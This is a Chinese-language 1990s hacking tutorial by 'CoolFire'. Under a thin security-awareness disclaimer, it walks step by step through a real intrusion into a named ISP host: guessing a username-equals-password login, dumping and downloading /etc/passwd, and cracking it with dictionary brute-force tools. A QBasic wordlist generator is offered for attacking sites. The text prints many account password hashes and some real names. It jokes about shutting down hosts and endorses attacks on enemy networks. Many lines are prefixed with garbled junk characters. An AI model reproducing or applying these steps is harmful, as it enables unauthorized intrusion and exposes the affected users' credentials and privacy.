如何破解系統(tǒng)（3）

這不是一個教學(xué)文件, 只是告訴你該如何破解系統(tǒng),好讓你能夠?qū)⒆约旱南到y(tǒng)作安全的保護(hù), 如果你能夠?qū)⑦@份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 并不是教人 Crack Password若有人因此文件導(dǎo)致惡意入侵別人的電腦或網(wǎng)路, 本人概不負(fù)責(zé) !!

* p1 x( W2 Y) L7 B前幾次說到了 Net Coffee 店, 還好他們沒有提供客戶撥接上線的功能,不然密碼或是帳號被人盜用的客戶不就糗大了! 但是 CoolFire 在這兩周的探險中, 為了找一個酷似網(wǎng)路咖啡站臺的
W3 密碼,誤入一個號稱第一個提供網(wǎng)路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd
. K7 Q! L$ o( L% V/ O之後, 使用了自己寫的 PaSs2DiC + CJack 來解出密碼, 沒想到不用 1 分鐘, 就找出了 9 組 ID 與Password 相同的密碼,勿怪我沒有在這里提醒大家, 還好我沒有找到 root password, 不然可能該系統(tǒng)就此停擺,不可再見天日也! (當(dāng)然我不可能這麼作啦!).

# [" u5 o& k9 n6 [4 h3 F6 w看看最近興起的網(wǎng)路咖啡及各大網(wǎng)站的系統(tǒng)安全設(shè)施, 再加上 CoolFire最近開會的時候遇到的情況, 不難發(fā)現(xiàn)我們的國家正往高科技的領(lǐng)域快步邁進(jìn), 但是這些系統(tǒng)的安全性若不加強(qiáng),可能到時候人家只要一臺電腦再加上一臺數(shù)據(jù)機(jī)就可以讓整個國家的金融及工商業(yè)崩潰!
* z7 Z: K( _) l1 ]大家要小心呀 !
5 Q3 W; s: Y; B+ ]% b2 qISP 是一般 User 撥接的源頭, 技術(shù)上理應(yīng)比較強(qiáng), 但還是輕易讓人入侵, 且又沒有教導(dǎo)User 正確的網(wǎng)路使用觀念 (Password 的設(shè)定及 proxy 的使用等),實在不敢想像這樣的網(wǎng)路發(fā)展到幾年後會是甚麼樣子 ??

/ U3 R: S4 Z/ a5 X# c這一次的說明還是沒有談到新的技巧, 在 James將首頁更新後各位應(yīng)該已經(jīng)可以從中學(xué)到許多東西了, 如果想要學(xué)習(xí)入侵, 就一定要知道最新的資訊 (入侵本國的網(wǎng)路則不用,反正沒人重視網(wǎng)路安全..... 真失望), 在別人還沒將 Bug 修正之前就搶先一步拿到 /etc/passwd,所以訂閱一些網(wǎng)路安全的 Mail List 是必要的, 多看一些網(wǎng)安有關(guān)的 News Group 也是必要的 (不僅 Hacker如此, ISP 更要多注意這些資訊!). 日後有空再整里一些 Mail List 給大家 !!
) m% s% s  ^1 g! \0 ~9 ]6 }
* V; m7 Q# a1 s7 Y$ z8 M本次主題: 說明如何連接該 ISP 并且對其 /etc/passwd 解碼連接位址: www.coffee.com.tw (203.66.169.11)特別說明: 由於本次主題說明重點使用真實的位址及名稱, 所以 CoolFire 已經(jīng) Mail給該網(wǎng)頁之維護(hù)人員更改密碼, 但該網(wǎng)頁之 ISP 仍為新手之練習(xí)好題材! CoolFire
Mail 給該網(wǎng)頁維護(hù)人員之信件內(nèi)容如下, 如果他還不盡快改掉, 我也沒辦法了!

2 j! W8 j; i( xMail sent to [email protected]:
Subject: 請速更動網(wǎng)頁密碼
From: CoolFire <[email protected]>
! c0 f2 I7 L; f% k5 F2 }5 E
0 @5 o5 Q4 |6 V/ x你的網(wǎng)頁作得不錯, 但是因為你所設(shè)定的密碼太容易為駭客所? 入侵, 請於見到此信後速速更改你的網(wǎng)頁進(jìn)入密碼, 否則下次若網(wǎng)頁遭到篡改, 本人概不負(fù)責(zé)!!

**** 課程開始 ****

請注意: 由於本次所作的課程內(nèi)容以實作為主, 除了本人 IP 有所更改,一切都使用本人所用之
4 M0 O0 \$ p1 `. I! \" j, `Telnet 軟體 Log 檔收錄, 故若道德感不佳者請勿閱讀以下之詳細(xì)破解內(nèi)容,否則本人概不負(fù)責(zé)!
9 `- e& J" f" P% S2 t
(連線到某一主機(jī)之後.... 此處的 ms.hinet.net.tw 是假的 Domain name)
ms.hinet.net.tw> telnet www.coffee.com.tw
Trying 203.66.169.11...
& j. R) B4 O% T( kConnected to www.coffee.com.tw.
Escape character is '^]'.
  M; e3 G& A' @Password: (隨便按一下 Enter)
, J; f- v  o% V; tLogin incorrect
2 L* F2 v& {2 M1 ?) x' g
www login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee)
& N, Z1 q- l7 n4 L1 YPassword:
* D; _' a+ m- ^3 T/ A* @( g+ i. sLast login: Thu Jan 9 10:41:52 from ms.hinet.net.tw

9 {6 ]+ L, z, K歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
- ~7 D0 }# V2 A. ]/ Z. l3 P" o=================================================================

(直接進(jìn)入核心部份)
( |: Q8 N. R) E4 d/ K- fwww:~$ cd /etc
. F' I7 M9 H! J. q% f7 ]' i+ Z( t2 lwww:/etc$ ls
1 U/ T/ B5 R6 i3 X" DDIR_COLORS hosts.equiv printcap
HOSTNAME hosts.lpd profile
NETWORKING inet@ protocols
NNTP_INEWS_DOMAIN inetd.conf psdevtab
X11@ inittab rc.d/
at.deny inittab.gettyps.sample resolv.conf
2 `, X; B+ R+ A5 s2 b' J9 bbootptab ioctl.save rpc
: M& y5 U9 ~3 \$ g6 B* j7 k: gcsh.cshrc issue securetty
csh.login issue.net securetty.old
6 f8 ?7 J& O4 `5 ]# z: U( Tdefault/ klogd.pid sendmail.cf
* s( x' z% Y; e* p$ jdiphosts ld.so.cache sendmail.st
exports ld.so.conf services
& r( d/ ^% r+ p1 ~/ u# e5 Ifastboot lilo/ shells
8 T2 Y: ?' D8 F+ B9 S  Bfdprm lilo.conf shutdownpid
5 y+ [' @/ A0 p% ?fs/ localtime skel/
fstab magic slip.hosts
ftp.banner mail.rc slip.login
ftp.deny motd snooptab
ftpaccess motd.bak sudoers
$ L; x& M3 }/ |( Oftpconversions msgs/ syslog.conf
ftpgroups mtab syslog.pid
( W- t) V1 E4 g9 Bftpusers mtools termcap
gateways named.boot ttys
. ~; q; P/ `$ A; L5 q) ]gettydefs networks utmp@
) T, u$ u/ z% V. }  w) y+ h0 lgroup nntpserver vga/
( D0 I! L0 t6 y. Ghost.conf passwd wtmp@
hosts passwd.OLD yp.conf.example
& ~: |8 V6 @/ a% Hhosts.allow passwd.old
hosts.deny ppp/
# @1 S4 t9 Q% _9 d7 P$ e6 @
! |, t, O" O9 [( q2 |& o0 X# d( q& ?(看看我們的目標(biāo)長得如何???)
www:/etc$ cat passwd
9 h( n/ R, [' @2 xroot:abcdefghijklmn:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
# y1 V% w& |* k1 f+ F4 P# U" [% j/ q0 vdaemon:*:2:2:daemon:/sbin:
/ E  j- P" h! y7 i2 P0 }adm:*:3:4:adm:/var/adm:
/ w/ r% m9 Y2 `7 F- |lp:*:4:7:lp:/var/spool/lpd:
7 q. @" G4 v, Q1 U/ Xsync:*:5:0:sync:/sbin:/bin/sync
8 V& j/ S1 R7 v+ @! ^) p; hshutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
. |# L+ M, L8 j  ~halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
' V3 r5 `% T" s& r# A- i5 Voperator:*:11:0:operator:/root:/bin/bash
* G" X1 M4 h) N" i/ Fgames:*:12:100:games:/usr/games:
; x  R7 V6 q- t; I$ ^man:*:13:15:man:/usr/man:
, l4 h( l) D8 j; X1 h: @postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
) \2 I# p, s5 W0 U& L  {nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
6 m! S; ?1 p& G+ oguest:*:405:100:guest:/dev/null:/dev/null
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
/ V8 I" m+ r: f- P2 k0 Zwww:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
0 h/ Q4 ~9 y. F# W2 J) Q3 Qtest:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
fax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
5 W" L+ M! C6 k# ~, r" twomen:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
' y" ^$ V! R1 m/ Tkanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
4 L9 b5 t( h) ~) T  Ncoffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
6 u, H( P" n; Ihaurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
$ t0 q0 p4 f9 D. }: O4 qtham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
: T6 j( z( I7 b$ p" L9 Nservices:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
* g$ ^3 y" ], E4 L+ [5 pcorey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
" C) x! w7 K8 Q0 L- m. c& f, orichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
support:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
( @3 M0 V5 X$ C0 Z/ z7 }% Ostonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
bear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
: `8 V8 O" ^% p: L! k- A/ ?4 Vlance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
- T' ~* Y: h0 X( v6 q$ @taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
& O# L! ?- J& ^liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
caves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
7 m5 r- Q, l- z, K- O) a+ E6 zsales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
: V* m7 i* K- M) F1 X- |- Q( @kingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
$ f' h8 i, p4 ?* d7 ^- g; bgoodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
8 M0 B+ o' J1 ~2 N# ?sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
- P- }3 d  V$ T/ ]* Z& arwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
1 o  c' c& ~8 m# [charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
* z1 d, P0 U2 |+ N. us6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
lsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
1 l6 C3 j, M. Hlilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
nalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
5 B% Z* D4 E% m2 e2 y2 V" C; l( @$ Ltoonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
# f% P+ J) y/ }3 Cyahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
1 s; \5 H6 }* s5 a: |basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
wunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
kaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
' Z4 ?0 _  Z; A% i4 I; S, M5 sshuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
( Z- J$ o. D1 \) t9 `% efan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash

(CoolFire 注: 因為使用 PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee外, 其它我找到密碼的 EnCode Password 部份皆改過..... 除非你一個一個試?yán)瞺~~ 我沒說喔!)
! |9 [0 n" v2 v6 N; N
8 O7 D, Y$ g9 ^. B% pwww:/etc$ exit
logout
5 W) l, ^2 u( R3 H2 QConnection closed by foreign host.

(可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來吧!)
8 e4 N6 F) [/ p
' f# `4 y1 a9 }ms.hinet.net.tw> ftp www.coffee.com.tw
Connected to www.coffee.com.tw.
220-
220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
. ~9 u1 x' G9 R# w; \220-
220-
220- There are 0 users in FTP Server now.
220- 目前已有 0 使用者在此 Server 上.
' Q, T. d; m" ?6 T+ _# J220- If you have any suggestion, please mail to:
7 E# [! c2 Q/ n/ k6 m8 p220- [email protected].
220-
, F  |8 L8 D# A( e1 s# [220-
220-
220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.

# d( L0 ?$ P  l" q5 z( o(還是使用剛剛的帳號進(jìn)入)

Name (www.coffee.com.tw:YourName): coffee
331 Password required for coffee.
Password:
230 User coffee logged in.
Remote system type is UNIX.
1 O  V2 y+ ]& v! S3 k1 y/ hUsing binary mode to transfer files.

2 ^" ~" b. A; p* e0 w+ a2 }0 o. g(直接到達(dá)檔案放置地點)

ftp> cd /etc
: f/ @& y- ^2 _0 e' S* I: b250 CWD command successful.
9 K: U0 ~7 b1 J: t6 Oftp> ls
200 PORT command successful.
0 ^! I: K# l  w! m0 e150 Opening ASCII mode data connection for file list.
9 w: X& K) \2 ^" `) J9 u  [& Uttys
fdprm
group
issue
, R3 {# e2 x: s/ n/ Cmotd
# m9 p8 H8 T4 V# G: Q, Lmtools
" ]7 Y; \% ~6 u/ m. D" D6 Iprofile
' A9 H, |- m3 ^  O1 y: Psecuretty
shells
7 ?3 k! V# n% H6 W6 N- V" F; _termcap
5 L5 g' T2 j% P- h! p0 Iskel
# c# Z* J& R+ x2 i" \4 Kcsh.cshrc
csh.login
lilo
  P/ ~+ Q$ f$ v1 X5 Binet
default
services
HOSTNAME
7 b  M# ^/ U' a; UDIR_COLORS
passwd
passwd.OLD
: Z( I, W7 l. k5 B: J5 `wtmp
utmp
& t1 z, N% u0 V9 o2 ?2 Q0 pgettydefs
inittab.gettyps.sample
3 Z2 R, s& |8 f: D1 {9 _5 ald.so.conf
0 c  x. Y% a% Z/ f3 s4 }: rld.so.cache
4 \, A6 d) J- X9 m& J5 ]at.deny
fs
/ E% f( J7 C$ h; ~8 q. S4 \: |magic
rc.d
syslog.conf
- o/ ~/ P0 u1 d: Fprintcap
$ S8 G/ ~! d( oinittab
sudoers
- R4 v/ t  v  j& _( H) Yvga
diphosts
: c. a8 T4 [8 ?9 G$ ~2 cmail.rc
ppp
NNTP_INEWS_DOMAIN
sendmail.st
  `4 R7 f) l9 X/ S& CNETWORKING
gateways
1 q# ]6 ]) n* d2 m# nbootptab
exports
3 j( B0 O. Y) v0 a) W! |ftpusers
host.conf
# c8 K. g2 z" ]8 K7 ohosts
* ?8 _& G+ A  |# N* k: _* whosts.allow
hosts.deny
hosts.equiv
inetd.conf
/ a- r& A: T! q( |9 ^  Anamed.boot
0 _& e' u0 }/ Q- Z. snetworks
nntpserver
. P3 t8 k& y3 h) c% z, L# wprotocols
resolv.conf
rpc
0 @- d& |; L% y2 Uftpaccess
4 U; D  z$ d, o! d4 uhosts.lpd
1 Y! E; q3 o7 I9 [: r: n6 c  u, aftpconversions
snooptab
6 Q5 ^. l6 o7 `# o5 Emsgs
6 e* V  F3 Z# p& ~7 W8 b: Cftpgroups
9 p& X4 y3 o7 `5 S0 v$ w. Jslip.login
# ?( D) o# x. M& C: O9 V9 tslip.hosts
7 _$ y/ h2 Z& ]8 K( P  j" pyp.conf.example
X11
6 K. W  A; A: d6 e$ L) m5 N" I/ tlilo.conf
, h7 h0 @9 G* _% w# x" usendmail.cf
fstab
- d1 v, I* L8 ]" zfastboot
mtab
. T3 f8 Z2 ^. ]0 i9 Ksyslog.pid
klogd.pid
shutdownpid
2 v( Y* g, r& alocaltime
passwd.old
ioctl.save
psdevtab
ftp.banner
ftp.deny
# r0 ]" r  p0 F& sissue.net
: d+ Y! `+ ?/ r* `motd.bak
securetty.old
226 Transfer complete.
4 s# g6 ]# `% [
( z" s& m' R0 m2 t! z* U7 M(取回該檔案)
# u6 o- U# U3 T2 J) S
ftp> get passwd
; }& G( O7 t; c" c9 G+ g) V200 PORT command successful.
150 Opening BINARY mode data connection for passwd (4081 bytes).
226 Transfer complete.
4081 bytes received in 2.5 seconds (1.6 Kbytes/s)

1 e* Y' p  W+ u: b. R: a9 R* L$ W(盡速離開)
: X7 g* X# |2 {) M) D8 I
ftp> bye
7 r$ S+ W8 j4 c- l- a221 Goodbye.

好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來吧
!!快點跑一下, 讓它自動產(chǎn)生字典檔案:
# d9 ]0 @( |1 w' s8 g
C:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.
% K  J8 W0 ?9 {, l2 b: v
This tool will:
, l. {+ R/ s* x& _4 Q
[1] Load PASSWD file and convert it to only username text file
[2] Write the file to a dictionary file you choise for target
8 b. S3 R4 q. w& c4 G" A+ J
Your Source PASSWD File Name: passwd
1 K5 f& f  Y; d, O5 oYour Target Dictionary Name: dic.cfe
" [# }2 |7 D4 h5 d/ ?& T' b% a* I
' k2 ~' d, m' b2 Q/ Q  [3 a7 GPaSs2DiC Author: James Lin E-Mail: [email protected]
8 @" i' u6 F- [( `& z% H/ F! oFETAG Software Development Co: http://www.showtower.com.tw/~fetag

3 [% B: D: B7 [5 a. aC:\hack>
- R, ?& |" I3 b( E' W
# \/ B& a0 J  U, \(這樣就好了 ! 自動產(chǎn)生的檔案會放在 dic.cfe 這個檔案中, 咱們跑一下 Brute Force看看!)
+ C( u% u  \  @! k) Q

C:\hack>fbrute passwd @dic.cfe

% c% g# ?2 }3 V3 S( eBRUTE!, Unix Brute Force Hacking Routine. v2.0
$ E4 d; l  \, C! zCopyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡
+ |. e2 V7 S1 h( u4 r
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
Attempts/Hits: 5184/9
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
) q9 P" l6 P' Z! N$ z7 O/ l! B
0 @* z& h5 l0 b7 R/ R+ C1 T1 N/ P! TTaking list input from dic.cfe
- H( `& v& W4 T9 r  u2 T  A7 s' uBeginning search of passwd for password: xxx

Match for password xxxxxx found! Username: xxxxxx
1 s; W0 \: v4 n3 x! k$ P9 S4 G$ WMatch for password xxxxx found! Username: xxxxx
6 w2 b. \# r; u+ aMatch for password xxx found! Username: xxx
Match for password xxxxxx found! Username: xxxxxx
Match for password xxxxxx found! Username: xxxxxx
Match for password coffee found! Username: coffee
! d4 t3 ?( s3 w; z. ~3 ]8 z) E" ?Match for password xxxxxxx found! Username: xxxxxxx
Match for password xxx found! Username: xxx
Match for password xxxx found! Username: xxxx

Done.
; ^, R* u- K: l4 A5 w3 _
C:\hack>

7 V2 B6 z; c7 E看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實在是....@#$%^...&*因某些關(guān)系所以其它部份要被 "馬賽克" 起來, 請各位讀者見量!

**** 再談密碼 ****

看了以上的破解示范, 就可以了解到許多人還是對於 "密碼" 這東西不是很有 "密碼"的觀念, 人就是那麼的懶, 隨便設(shè)定一個好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用
! t' N* f3 E; fQBasic 來設(shè)計一個自動產(chǎn)生密碼的小程式, 相信對許多人有很大的幫助,底下我們再來淺顯的介紹一下字母密碼的產(chǎn)生方法, 相信對於你在 Hack 某站會有更大的幫助.
0 b# S% P- u( c2 |0 J2 Q. d
$ J* l7 K6 o2 \; d事情的開始是有一位網(wǎng)友 mail 給我, 問我字典檔要如何寫程式來 "自動擴(kuò)大",而讓我有了寫這一段的想法, 現(xiàn)在我就針對這位網(wǎng)友的問題作一個更詳細(xì)的說明 (因已簡短回信答覆),并且寫出來讓大家了解一下, 當(dāng)然我們的示范還是使用 QBasic, 因為這是最容易找到的程式了,而且語法大家也可能會比較熟悉一點, 如果我使用 VB 或 C 來寫, 可能有些人只會拿去用,而不會去修改或者寫個好一點的出來!
# u: O, {, l5 [' L% d! A
1 v  k: |# l1 c5 g+ H8 E先說明一下原理好了: 我們所要作的程式是一個自動產(chǎn)生字典檔的程式,所以我們要了解字的字母排列到底有哪些方法可循?? 我們先舉幾個簡單的單字出來比較看看:

[1] apple [2] guest [3] james [4] superman [5] password

8 E$ C1 L- I0 N! x! aOK! 來看看! 如果你有一點英文的概念的話應(yīng)該會知道母音及子音吧 !
+ [/ R! Q$ j% ?8 a我們首先這樣說明: 母音在英文
上有 : A E I O U 這五個, 所有的英文單字都會有這些母音(有些沒有的可能是專有名詞或縮寫), 也有可能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
, \5 i. s+ z6 m- D8 b# v3 F+ l8 B. b再來就是比較每個字的開頭, 有可能是母音,也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student是兩個子音再接一個母音字母, 所以接下來依照常用字將這些子音找出來, 我想了一下大概有: br, bl, cl, dg,dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請自行統(tǒng)計), 然後是結(jié)尾部份, 通常結(jié)尾部分有下列幾種: e;est; ord; ard; ls; es; s...等好多好多, 我們稍為思考一下就知道要如何寫出這樣的程式出來了 !!
我大略寫一個簡單的, 其它大家自行發(fā)揮, 如果有人學(xué)語言學(xué)的, 請幫忙弄一份常用組合表出來, 可能會更有幫助吧 !!
4 p- G. j0 w2 ~: K+ Y2 Y" b
* S# |; N) N" V  D$ N- P6 g% ]底下就是該程式片段, 執(zhí)行後會產(chǎn)生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120個字的字典!!
" c- ^9 y; C) s5 C7 x
9 I5 `7 r: k- ], _  ~+ d! m--------------- MakeDic.BAS Start Here
-------------------------------------------------------------------------------
2 G/ m# r" A% Y8 j+ o--------
' l3 s# ^! j, w5 j( l: ZDIM FirstWord$(20)
DIM MotherWord$(13)
  v2 c/ t# c8 MDIM LastWord$(12)

DATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
"t", "p", "k" , "f", "m", "n", "b","k"
( @' j+ \. P) _6 C1 iDATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
+ X# ?, q! o2 l% R6 ^; g& a* yDATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"
7 [' }! |+ j8 `( S
( S+ R$ |# c( U" @& [2 E8 V0 T: WFOR I = 1 TO 20
READ FirstWord$(I)
" c% \" a) r, ]' G' _2 E* WPRINT FirstWord$(I)
NEXT I
+ a& W% w$ r# J& {3 L( R
- U! c% P! q3 C* l9 X) BFOR I = 1 TO 13
READ MotherWord$(I)
NEXT I
* P/ b0 N; F, ~8 d" B) s/ n
' p4 s+ p$ \2 E, [0 c: nFOR I = 1 TO 12
$ H, Y& c: u* V) M# p& iREAD LastWord$(I)
NEXT I

9 I4 c4 |" m$ A3 d  n$ a& Q: ]3 uOPEN "MyDic.txt" FOR OUTPUT AS #1

! M& [( K7 u% |9 o/ f% }FOR I = 1 TO 20
FOR J = 1 TO 13
7 p7 W4 ~1 Y/ UFOR K = 1 TO 12
5 }) z8 O. ~6 Y1 C8 |; nPRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
) M5 Q1 E  @, X8 wNEXT K
NEXT J
NEXT I

* i0 X2 ~2 ^* C; R7 _" nCLOSE : END
3 S# ~" y* H, v. z9 E( N/ V--------------- Cut Here, End of MakeDic.BAS
-------------------------------------------------------------------------------
-

當(dāng)然這只是小部份的組合, 相信你可以作出一個更大的字典檔出來, 如:
子音+母音+子音+母音+子音, 作出來的字典檔會很嚇人喔 !! 這一個部份就講到這里了 ! 如果你有很棒的字典產(chǎn)生程式,寫好了請 Mail 一份給我喔 !! 如果可以的話請說明是否可以公布在我的 W3 上讓其它人下載 !!還是你只是要給我 ?!

希望每次講到密碼的問題後, 大家可以將這些密碼的產(chǎn)生方法與自己的密碼對照看看,如果有相同的請趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒有人要聽嗎 ??? 咖啡業(yè)者...... ISP
們.... 教教你們的使用者吧..... 唉~~~~


**** 後語 ****
9 }$ j/ G1 U* D8 n% P
6 q: d5 c/ ~. S9 Y$ v我們的首頁感謝大家的支持, 現(xiàn)在人數(shù)已經(jīng)到達(dá) 2,000 了, 這是一個地下站(未對外正式公布) 很棒的一個數(shù)字, 在與其它工作室人員研究之後, 暫時不對外公布站址, 如果你是 "誤闖"到本站來的! 我們歡迎你的加入, 但目前尚不考慮對外公布站址, 請您在告訴你的朋友有這麼一個站存在的時候,請他不要隨便告訴別人 (請只告訴你信賴的朋友; 或?qū)﹄娔X有一份特別狂熱的人, 我們都?xì)g迎他們的加入),我們目前所采用的方式將是開放式的! 對首頁部份暫時不以密碼方式處理.

** 不要 Crack 這個首頁的 ISP!!!! 否則 FETAG Sofeware's Hacking Page將會完全關(guān)閉, 再也不尋找其它的地方來放置, 希望給你的是使用電腦的 "知識", 不要利用它來奪取任何的 "權(quán)利",本首頁著重的是教育, 而不是一　的教導(dǎo)攻擊的方法, 希望大家對於政府機(jī)關(guān) (org.tw) 或教育機(jī)構(gòu) (edu.tw)不要作任何的破壞!!還有我的 ISP......:D
4 k/ M# v6 A) U
7 x' I" ]% |- ~" M3 A, {------
哇! 一份案子搞了好久, 都沒時間維護(hù)網(wǎng)頁了, 所以特別將維護(hù)的工作還給了 James,希望大家多多支持我們的園地, 我案子搞完後再跟大家談?wù)勎易罱膶崙?zhàn)故事! 雖然沒時間寫網(wǎng)頁,但是還是會寫一些文件給大家作為參考 !!

2 {% A  w! @8 y3 w8 _' U------
/ c$ ?4 `6 g! f& M再次重申, Crack 別人站臺之後不要破壞別人站臺中的資料, 此篇文章僅作為教育目的,不主張你隨便入侵他人主機(jī).... (高-Net 還是除外)... 請勿將這類技術(shù)使用於破壞上 (又...如果第三次世界大戰(zhàn)開打, 你可以任意破壞敵國的電腦網(wǎng)路... 我全力支持),最嚴(yán)重的情況(如果你真的很討厭該主機(jī)的話)... 就將它 Shut Down.... 好了! 別太暴力了!
8 P2 I3 H, V) `  V8 N4 c  @! L& t